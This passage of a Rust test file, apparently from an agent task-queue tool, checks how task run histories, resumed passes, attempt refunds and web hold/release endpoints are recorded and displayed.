15692 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15693 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15694 let n = &f.nodes[0];
15695 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15696 assert_eq!(
15697 n.label,
15698 format!("Follow-up of {}", crate::queue::short(&pid))
15699 );
15700 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15701 assert_eq!(n.status, Some("done"));
15702 assert_eq!(n.status_of, "task");
15703 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15704 assert_eq!(f.nodes[1].key, "start");
15705 assert_eq!(f.edges[0].from, "origin");
15706 assert_eq!(
15707 f.edges[0].label,
15708 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15709 );
15710 }
15711
15712 #[test]
15713 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15714 let o = followup_origin(
15715 &fu(Some("gone")),
15716 |_| None,
15717 |_| {
15718 Some(RunState::new(
15719 std::path::PathBuf::from("."),
15720 "main".to_owned(),
15721 "0".to_owned(),
15722 "t".to_owned(),
15723 crate::config::Config::default(),
15724 ))
15725 },
15726 );
15727 assert!(o.parent.is_none());
15728 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15729 let n = &f.nodes[0];
15730 assert_eq!(n.status_of, "run");
15731 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15732 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15733 }
15734
15735 #[test]
15736 fn flow_followup_with_nothing_readable_has_no_link() {
15737 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15738 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15739 let n = &f.nodes[0];
15740 assert_eq!(n.href, None);
15741 assert_eq!(n.note, Some("unreadable"));
15742 assert!(!n.readable);
15743 }
15744
15745 #[test]
15746 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15747 let o = followup_origin(&fu(None), |_| None, |_| None);
15748 let mut t = flow_task(&[]);
15749 t.origin_chat = Some("c1".to_owned());
15750 let f = task_flow(&t, &[], 5, Some(&o));
15751 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15752 t.source = Source::Agent {
15753 run: "c1".to_owned(),
15754 node: crate::queue::CHAT_NODE.to_owned(),
15755 };
15756 let f = task_flow(&t, &[], 5, Some(&o));
15757 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15758 assert_eq!(
15759 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15760 ("chat", "origin")
15761 );
15762 }
15763
15764 #[test]
15765 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15766 let mut p = parent_task();
15767 p.id = "a b/c".to_owned();
15768 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15769 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15770 }
15771
15772 #[test]
15773 fn flow_opens_with_the_chat_that_queued_the_task() {
15774 let mut t = flow_task(&[]);
15775 t.source = Source::Agent {
15776 run: "a b/c".to_owned(),
15777 node: crate::queue::CHAT_NODE.to_owned(),
15778 };
15779 let f = flow_for(&t, &[]);
15780 assert_eq!(f.nodes[0].key, "chat");
15781 assert_eq!(f.nodes[0].kind, "chat");
15782 assert_eq!(
15783 f.nodes[0].label,
15784 format!("Chat {}", crate::queue::short("a b/c"))
15785 );
15786 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15787 assert_eq!(f.nodes[1].key, "start");
15788 assert_eq!(
15789 f.edges[0],
15790 FlowEdge {
15791 from: "chat".to_owned(),
15792 to: "start".to_owned(),
15793 label: "queued from chat".to_owned(),
15794 attempt: AttemptCost::None,
15795 }
15796 );
15797 }
15798
15799 #[test]
15800 fn flow_has_no_chat_box_for_other_sources() {
15801 for source in [
15802 Source::Human,
15803 Source::Issue {
15804 number: 3,
15805 repo: "o/r".to_owned(),
15806 },
15807 Source::Agent {
15808 run: "20260904-014455-ab12".to_owned(),
15809 node: "implement".to_owned(),
15810 },
15811 ] {
15812 let mut t = flow_task(&[]);
15813 t.source = source;
15814 let f = flow_for(&t, &[]);
15815 assert_eq!(f.nodes[0].key, "start");
15816 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15817 assert!(f.edges.iter().all(|e| e.from != "chat"));
15818 }
15819 }
15820
15821 const FA: &str = "20260902-140501-aaaa";
15822 const FB: &str = "20260902-140502-bbbb";
15823
15824 #[test]
15825 fn flow_follows_blocked_retry_merged_to_done() {
15826 let mut t = flow_task(&[FA, FB]);
15827 t.status = TaskStatus::Done;
15828 let f = flow_for(
15829 &t,
15830 &[
15831 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15832 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15833 ],
15834 );
15835 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15836 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15837 assert_eq!(f.edges.len(), 3);
15838 assert_eq!(f.edges[0].label, "claimed");
15839 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15840 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15841 assert_eq!(f.edges[2].label, "merged \u{2192} done");
15842 assert_eq!(
15843 f.nodes[2].href.as_deref(),
15844 Some("#/runs/20260902-140502-bbbb")
15845 );
15846 assert!(f.nodes[2].decided);
15847 }
15848
15849 #[test]
15850 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15851 let quota = || {
15852 flow_run(RunStatus::Stalled, |s| {
15853 s.quota.push(crate::run::QuotaLoss {
15854 seat: "judge-1".to_owned(),
15855 node: "judge".to_owned(),
15856 at: Timestamp::now(),
15857 reset: None,
15858 })
15859 })
15860 };
15861 let mut t = flow_task(&[FA, FA]);
15862 t.status = TaskStatus::Queued;
15863 let f = flow_for(&t, &[(FA, Some(quota()))]);
15864 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15865 assert_eq!(f.nodes[1].note, Some("interrupted"));
15866 assert_eq!(
15867 f.nodes[1].status, None,
15868 "no outcome copied onto an earlier pass"
15869 );
15870 assert_eq!(
15871 f.edges[1].attempt,
15872 AttemptCost::Unknown,
15873 "a resume does not prove the earlier pass was refunded"
15874 );
15875 assert!(f.edges[1].label.contains("resume the same run"));
15876 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15877 assert_eq!(
15878 f.edges[2].label,
15879 "stalled after a resume, refund unknown \u{2192} queued"
15880 );
15881 assert!(!f.nodes[2].decided, "a stall is not a decision");
15882 assert_eq!(f.nodes[2].note, Some("no verdict"));
15883 }
15884
15885 #[test]
15886 fn flow_single_pass_quota_stall_is_refunded() {
15887 let t = flow_task(&[FA]);
15888 let f = flow_for(
15889 &t,
15890 &[(
15891 FA,
15892 Some(flow_run(RunStatus::Stalled, |s| {
15893 s.quota.push(crate::run::QuotaLoss {
15894 seat: "judge-1".to_owned(),
15895 node: "judge".to_owned(),
15896 at: Timestamp::now(),
15897 reset: None,
15898 })
15899 })),
15900 )],
15901 );
15902 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15903 }
15904
15905 #[test]
15906 fn flow_parked_refunds_and_stall_without_quota_spends() {
15907 let mut t = flow_task(&[FA]);
15908 t.status = TaskStatus::Queued;
15909 let f = flow_for(
15910 &t,
15911 &[(
15912 FA,
15913 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15914 )],
15915 );
15916 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15917 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15918 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15919 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15920 assert!(!f.nodes[1].decided);
15921 }
15922
15923 #[test]
15924 fn flow_keeps_an_unreadable_run_as_its_own_node() {
15925 let t = flow_task(&[FA, FB]);
15926 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15927 assert_eq!(f.nodes[1].note, Some("unreadable"));
15928 assert!(!f.nodes[1].readable);
15929 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15930 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15931 }
15932
15933 #[test]
15934 fn flow_names_the_branch_of_a_review_only_run() {
15935 let t = flow_task(&[FA]);
15936 let f = flow_for(
15937 &t,
15938 &[(
15939 FA,
15940 Some(flow_run(RunStatus::Merged, |s| {
15941 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15942 })),
15943 )],
15944 );
15945 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15946 assert_eq!(
15947 f.nodes[1].detail.as_deref(),
15948 Some("review-only run of branch magi/x/A")
15949 );
15950 }
15951
15952 #[test]
15953 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15954 let mut t = flow_task(&[FA]);
15955 t.status = TaskStatus::Held;
15956 let pr = crate::run::PrRecord {
15957 url: "https://example.test/pr/1".to_owned(),
15958 number: 1,
15959 state: "open".to_owned(),
15960 checks: "green".to_owned(),
15961 round: 0,
15962 rounds: 3,
15963 red_at_merge: Vec::new(),
15964 };
15965 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15966 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15967 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15968 t.status = TaskStatus::Done;
15969 let f = flow_for(&t, &[(FA, Some(blocked))]);
15970 assert_eq!(f.edges[1].label, "closed by hand: task is done");
15971 }
15972
15973 #[test]
15974 fn flow_with_no_runs_goes_from_queued_to_queued() {
15975 let t = flow_task(&[]);
15976 let f = flow_for(&t, &[]);
15977 assert_eq!(f.nodes.len(), 2);
15978 assert_eq!(f.edges.len(), 1);
15979 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15980 assert_eq!(f.edges[0].attempt, AttemptCost::None);
15981 }
15982
15983 #[test]
15986 fn a_parked_non_terminal_run_is_explained_as_parked() {
15987 let mut s = RunState::new(
15988 PathBuf::from("/repo/magi"),
15989 "main".to_owned(),
15990 "0123456789abcdef".to_owned(),
15991 "Do it".to_owned(),
15992 Config::default(),
15993 );
15994 s.status = RunStatus::Implementing;
15995 s.parked = true;
15996 let task = Task::new(
15997 "t".to_owned(),
15998 "Do it".to_owned(),
15999 PathBuf::from("/repo/magi"),
16000 Source::Human,
16001 );
16002 let v = task_run_view(
16003 "20260902-140501-aaaa",
16004 Some(&s),
16005 RunSlot {
16006 n: 1,
16007 resumed: false,
16008 resumed_later: None,
16009 prior: None,
16010 last: true,
16011 ..RunSlot::default()
16012 },
16013 &task,
16014 );
16015 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16016 }
16017
16018 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16019 let mut s = flow_run(RunStatus::Implementing, edit);
16020 s.parked = false;
16021 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16022 task_run_view(
16023 "20260902-140501-aaaa",
16024 Some(&s),
16025 RunSlot {
16026 n: 1,
16027 resumed: false,
16028 resumed_later: Some(2),
16029 prior: None,
16030 last: false,
16031 ..RunSlot::default()
16032 },
16033 &task,
16034 )
16035 }
16036
16037 #[test]
16038 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16039 let v = earlier_pass_view(|_| {});
16040 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16041 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16042 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16043 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16044 assert_eq!(v.exit, RunExit::Interrupted);
16045 assert_eq!(v.attempt, AttemptCost::Unknown);
16046 }
16047
16048 #[test]
16049 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16050 let v = earlier_pass_view(|s| {
16051 s.quota.push(crate::run::QuotaLoss {
16052 seat: "judge-1".to_owned(),
16053 node: "judge".to_owned(),
16054 at: Timestamp::now(),
16055 reset: None,
16056 });
16057 });
16058 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16059 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16060 assert_eq!(v.attempt, AttemptCost::Unknown);
16061 }
16062
16063 #[test]
16064 fn the_current_pass_states_its_recorded_cause_and_cost() {
16065 let slot = || RunSlot {
16066 n: 1,
16067 resumed: false,
16068 resumed_later: None,
16069 prior: None,
16070 last: true,
16071 ..RunSlot::default()
16072 };
16073 let task = flow_task(&["20260902-140501-aaaa"]);
16074 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16075 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16076 assert_eq!(
16077 (v.exit, v.attempt),
16078 (RunExit::Parked, AttemptCost::Refunded)
16079 );
16080 let spent = flow_run(RunStatus::Blocked, |_| {});
16081 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16082 assert_eq!(v.attempt, AttemptCost::Spent);
16083 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16084 }
16085
16086 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16087 crate::run::RunPass {
16088 index,
16089 started_at: Timestamp::now(),
16090 resumed: index > 0,
16091 ended_at: end.as_ref().map(|_| Timestamp::now()),
16092 end,
16093 task_entry: true,
16094 }
16095 }
16096
16097 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16098 Some(crate::run::PassEnd::Parked { cause })
16099 }
16100
16101 fn upgrade_cause() -> crate::run::ParkCause {
16102 crate::run::ParkCause::Upgrade {
16103 from: "0.121.0".to_owned(),
16104 to: Some("0.121.1".to_owned()),
16105 }
16106 }
16107
16108 fn settled_pass(
16109 run: &str,
16110 index: usize,
16111 cost: crate::queue::PassCost,
16112 ) -> crate::queue::TaskPass {
16113 crate::queue::TaskPass {
16114 run: run.to_owned(),
16115 pass_index: index,
16116 started_at: None,
16117 cost,
16118 attempts_after: 1,
16119 settled_at: Timestamp::now(),
16120 parked: None,
16121 }
16122 }
16123
16124 const RUN_X: &str = "20261011-223708-4334";
16125
16126 #[test]
16127 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16128 use crate::queue::PassCost;
16129 let run = flow_run(RunStatus::Implementing, |s| {
16130 s.passes = vec![
16131 recorded_pass(0, parked(upgrade_cause())),
16132 recorded_pass(1, None),
16133 ];
16134 });
16135 let mut task = flow_task(&[RUN_X, RUN_X]);
16136 task.attempts = 1;
16137 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16138 let h = task_history(&task, |_| Some(run.clone()));
16139 assert_eq!(h.len(), 2);
16140 assert_eq!(h[0].kind, "competition");
16141 assert_eq!(h[1].kind, "resume");
16142 assert_eq!(
16143 (h[0].exit, h[0].attempt),
16144 (RunExit::Parked, AttemptCost::Refunded)
16145 );
16146 assert!(
16147 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16148 "{}",
16149 h[0].outcome
16150 );
16151 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16152 assert!(
16153 h[0].outcome.contains("pass #2 resumed the same run"),
16154 "{}",
16155 h[0].outcome
16156 );
16157 assert!(
16158 h[0].outcome.contains("pass 1 of 2 over run"),
16159 "{}",
16160 h[0].outcome
16161 );
16162 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16163 assert_eq!(
16164 h[0].exit_label,
16165 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16166 );
16167 let f = task_flow(&task, &h, 2, None);
16168 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16170 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16171 assert!(
16172 f.edges[1].label.contains("upgrade 0.121.0"),
16173 "{}",
16174 f.edges[1].label
16175 );
16176 assert!(
16177 f.edges[1].label.contains("resume the same run"),
16178 "{}",
16179 f.edges[1].label
16180 );
16181 assert_eq!(f.nodes[1].note, Some("parked"));
16182 }
16183
16184 #[test]
16185 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16186 let mut a = flow_run(RunStatus::Implementing, |s| {
16187 s.passes = vec![
16188 recorded_pass(0, parked(upgrade_cause())),
16189 recorded_pass(1, None),
16190 ];
16191 });
16192 let mut b = flow_run(RunStatus::Failed, |s| {
16193 s.passes = vec![recorded_pass(0, None)];
16194 });
16195 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16196 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16197 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16198 let mut task = flow_task(&[]);
16199 task.start("a".into());
16200 task.start("b".into());
16201 task.start("a".into());
16202 assert_eq!(task.runs, ["b", "a"]);
16203 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16204 let h = task_history(&task, |id| {
16205 Some(if id == "a" { a.clone() } else { b.clone() })
16206 });
16207 assert_eq!(
16208 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16209 ["a", "b", "a"]
16210 );
16211 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16212 assert!(h[0].outcome.contains("upgrade"));
16213 assert_eq!(h[2].kind, "resume");
16214 assert!(h[2].pass.is_some());
16215 task.runs = vec!["a".into(), "b".into(), "a".into()];
16217 let old = task_history(&task, |id| {
16218 Some(if id == "a" { a.clone() } else { b.clone() })
16219 });
16220 assert_eq!(
16221 old.iter()
16222 .map(|v| (&v.id, &v.kind, v.attempt))
16223 .collect::<Vec<_>>(),
16224 h.iter()
16225 .map(|v| (&v.id, &v.kind, v.attempt))
16226 .collect::<Vec<_>>()
16227 );
16228 }
16229
16230 #[test]
16231 fn an_upgrade_whose_target_was_not_known_says_so() {
16232 let run = flow_run(RunStatus::Implementing, |s| {
16233 s.passes = vec![
16234 recorded_pass(
16235 0,
16236 parked(crate::run::ParkCause::Upgrade {
16237 from: "0.121.0".to_owned(),
16238 to: None,
16239 }),
16240 ),
16241 recorded_pass(1, None),
16242 ];
16243 });
16244 let task = flow_task(&[RUN_X, RUN_X]);
16245 let h = task_history(&task, |_| Some(run.clone()));
16246 assert!(
16247 h[0].outcome.contains("upgrade from 0.121.0"),
16248 "{}",
16249 h[0].outcome
16250 );
16251 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16253 }
16254
16255 #[test]
16256 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16257 use crate::queue::PassCost;
16258 use crate::run::ParkCause;
16259 let run = flow_run(RunStatus::Implementing, |s| {
16260 s.passes = vec![
16261 recorded_pass(0, parked(upgrade_cause())),
16262 recorded_pass(
16263 1,
16264 parked(ParkCause::Interrupt {
16265 reason: "task a1b2 asked to run first".to_owned(),
16266 }),
16267 ),
16268 recorded_pass(2, parked(ParkCause::Operator)),
16269 recorded_pass(3, None),
16270 ];
16271 });
16272 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16273 task.attempts = 1;
16274 task.passes = (0..3)
16275 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16276 .collect();
16277 let h = task_history(&task, |_| Some(run.clone()));
16278 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16279 assert!(
16280 h[1].outcome.contains("task a1b2 asked to run first"),
16281 "{}",
16282 h[1].outcome
16283 );
16284 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16285 assert!(
16286 h[2].outcome.contains("operator asked the loop to park"),
16287 "{}",
16288 h[2].outcome
16289 );
16290 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16291 let f = task_flow(&task, &h, 2, None);
16292 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16293 }
16294
16295 #[test]
16296 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16297 let run = flow_run(RunStatus::Implementing, |s| {
16298 s.passes = vec![
16299 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16300 recorded_pass(1, None),
16301 ];
16302 });
16303 let task = flow_task(&[RUN_X, RUN_X]);
16304 let h = task_history(&task, |_| Some(run.clone()));
16305 assert_eq!(h[0].exit, RunExit::Interrupted);
16306 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16307 assert!(
16308 h[0].outcome.contains("without recording why"),
16309 "{}",
16310 h[0].outcome
16311 );
16312 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16313 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16314 }
16315
16316 #[test]
16317 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16318 use crate::queue::PassCost;
16319 let run = flow_run(RunStatus::Implementing, |s| {
16322 s.passes = vec![
16323 recorded_pass(0, parked(upgrade_cause())),
16324 recorded_pass(1, None),
16325 ];
16326 });
16327 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16328 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16329 let h = task_history(&task, |_| Some(run.clone()));
16330 assert!(h[0].pass.is_none());
16331 assert_eq!(h[0].exit, RunExit::Interrupted);
16332 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16333 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16334 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16335 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16336 let legacy = flow_run(RunStatus::Implementing, |_| {});
16338 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16339 assert!(h.iter().all(|v| v.pass.is_none()));
16340 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16341 }
16342
16343 #[test]
16344 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16345 use crate::queue::PassCost;
16346 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16349 web.task_entry = false;
16350 let run = flow_run(RunStatus::Implementing, |s| {
16351 s.passes = vec![
16352 recorded_pass(0, parked(upgrade_cause())),
16353 web.clone(),
16354 recorded_pass(2, None),
16355 ];
16356 });
16357 let mut task = flow_task(&[RUN_X, RUN_X]);
16358 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16359 let h = task_history(&task, |_| Some(run.clone()));
16360 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16361 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16362
16363 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16366 web0.task_entry = false;
16367 let run = flow_run(RunStatus::Implementing, |s| {
16368 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16369 });
16370 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16371 assert!(h[0].pass.is_none());
16372 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16373 assert!(h[1].pass.is_some());
16374 }
16375
16376 #[tokio::test]
16377 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16378 let dir = tempfile::tempdir().unwrap();
16379 let queue = Queue::at(dir.path().join("queue"));
16380 let ui = Arc::new(Ui::new(
16381 queue.clone(),
16382 Questions::at(dir.path().join("questions")),
16383 Talks::at(dir.path().join("talks")),
16384 dir.path().join("runs"),
16385 dir.path().to_path_buf(),
16386 dir.path().to_path_buf(),
16387 ));
16388 let mut t = Task::new(
16389 "recover".into(),
16390 "Inspect".into(),
16391 PathBuf::from("."),
16392 Source::Human,
16393 );
16394 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16395 t.start("run-A".into());
16396 t.release_operator("choice", Some("resume-question"));
16397 t.resume_override = Some(crate::queue::OperatorResume {
16398 question_id: "resume-question".into(),
16399 at: jiff::Timestamp::now(),
16400 conductor_rehold: None,
16401 forced: true,
16402 pinned_run: Some("run-A".into()),
16403 });
16404 t.hold_machine(Some("inspection pending".into()));
16405 t.edit("recover".into(), "Reuse approved PR head".into())
16406 .unwrap();
16407 queue.put(&mut t).unwrap();
16408 let mut cli = t.clone();
16409 cli.release_operator("cli", None);
16410 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16411 let reloaded = queue.get(&t.id).unwrap();
16412 assert_eq!(reply.task.status, TaskStatus::Queued);
16413 assert!(reloaded.resume_override.is_none());
16414 assert_eq!(reloaded.answers, t.answers);
16415 let mut web = reloaded.resumption.unwrap();
16416 let cli = cli.resumption.unwrap();
16417 assert_eq!(web.source, "web");
16418 web.source = cli.source.clone();
16419 web.at = cli.at;
16420 assert_eq!(web, cli);
16421 }
16422
16423 #[tokio::test]
16424 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16425 let f = Fixture::start().await;
16426 let queue = f.queue();
16427 let mut task = Task::new(
16428 "spent".to_owned(),
16429 "Try again".to_owned(),
16430 PathBuf::from("/repo/magi"),
16431 Source::Human,
16432 );
16433 task.start("20260902-140502-bbbb".to_owned());
16434 task.fail("agent gave up", 9);
16435 queue.put(&mut task).expect("file the task");
16436
16437 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16438 assert_eq!(held.status, 200);
16439 assert_eq!(held.json()["status_str"], "held");
16440
16441 let released = f
16442 .post(&format!("/api/queue/{}/release", task.id), None)
16443 .await;
16444 assert_eq!(released.status, 200);
16445 assert_eq!(released.json()["status_str"], "queued");
16446 assert_eq!(released.json()["resumption"]["source"], "web");
16447 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16448 let mut cli = task.clone();
16449 cli.release_operator("cli", None);
16450 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16451 let cli = cli.resumption.unwrap();
16452 assert_eq!(web.instruction, cli.instruction);
16453 assert_eq!(web.answers_through, cli.answers_through);
16454 assert_eq!(web.runs_through, cli.runs_through);
16455 assert_eq!(web.cleared_reason, cli.cleared_reason);
16456 assert_eq!(
16457 released.json()["attempts"],
16458 0,
16459 "release is a real second chance, not an instant re-hold"
16460 );
16461 assert_eq!(
16462 queue.get(&task.id).expect("reload").status,
16463 TaskStatus::Queued,
16464 "the change is on disk, not only in the reply"
16465 );
16466 assert!(
16467 !f.home
16468 .path()
16469 .join("queue")
16470 .join(format!("{}.lock", task.id))
16471 .exists(),
16472 "the claim the mutation took is released again"
16473 );
16474 }
16475
16476 #[tokio::test]
16477 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16478 let f = Fixture::start().await;
16479 let queue = f.queue();
16480 let mut task = Task::new(
16481 "busy".to_owned(),
16482 "Running right now".to_owned(),
16483 PathBuf::from("/repo/magi"),
16484 Source::Human,
16485 );
16486 queue.put(&mut task).expect("file the task");
16487 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16488
16489 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16490
16491 assert_eq!(res.status, 409);
16492 assert_eq!(
16493 queue.get(&task.id).expect("reload").status,
16494 TaskStatus::Queued,
16495 "the refused hold changed nothing"
16496 );
16497 }
16498
16499 #[tokio::test]
16500 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16501 let f = Fixture::start().await;
16502 let queue = f.queue();
16503 let mut task = Task::new(
16504 "waiting on the migration".to_owned(),
16505 "Do the thing".to_owned(),
16506 PathBuf::from("/repo/magi"),
16507 Source::Human,
16508 );
16509 queue.put(&mut task).expect("file the task");
16510
16511 let held = f
16512 .post(
16513 &format!("/api/queue/{}/hold", task.id),
16514 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16515 )
16516 .await;
16517 assert_eq!(held.status, 200, "{}", held.body);
16518 assert_eq!(held.json()["status_str"], "held");
16519 assert_eq!(
16520 held.json()["hold_reason"],
16521 "waiting for 20260101-000000-aaaa to land"
16522 );
16523
16524 let listed = f.get("/api/queue").await.json();
16525 assert_eq!(
16526 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16527 "the card reads the reason off the same list route"
16528 );
16529
16530 let mut plain = Task::new(
16533 "no reason given".to_owned(),
16534 "Do another thing".to_owned(),
16535 PathBuf::from("/repo/magi"),
16536 Source::Human,
16537 );
16538 queue.put(&mut plain).expect("file the task");
16539 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16540 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16541 assert!(held_plain.json()["hold_reason"].is_null());
16542
16543 let released = f
16544 .post(&format!("/api/queue/{}/release", task.id), None)
16545 .await;
16546 assert_eq!(released.status, 200);
16547 assert!(
16548 released.json()["hold_reason"].is_null(),
16549 "a release must clear the reason so the next hold does not inherit it"
16550 );
16551 }
16552
16553 #[test]
16554 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16555 for urgent in [true, false] {
16556 let body: UrgentBody =
16557 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16558 assert_eq!(body.urgent, urgent);
16559 }
16560 for input in [
16561 r#"{}"#,
16562 r#"{"urgent":null}"#,
16563 r#"{"urgent":"true"}"#,
16564 r#"{"urgent":1}"#,
16565 r#"{"urgent":true,"extra":false}"#,
16566 ] {
16567 assert!(
16568 serde_json::from_str::<UrgentBody>(input).is_err(),
16569 "{input}"
16570 );
16571 }
16572 }
16573
16574 #[tokio::test]
16575 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
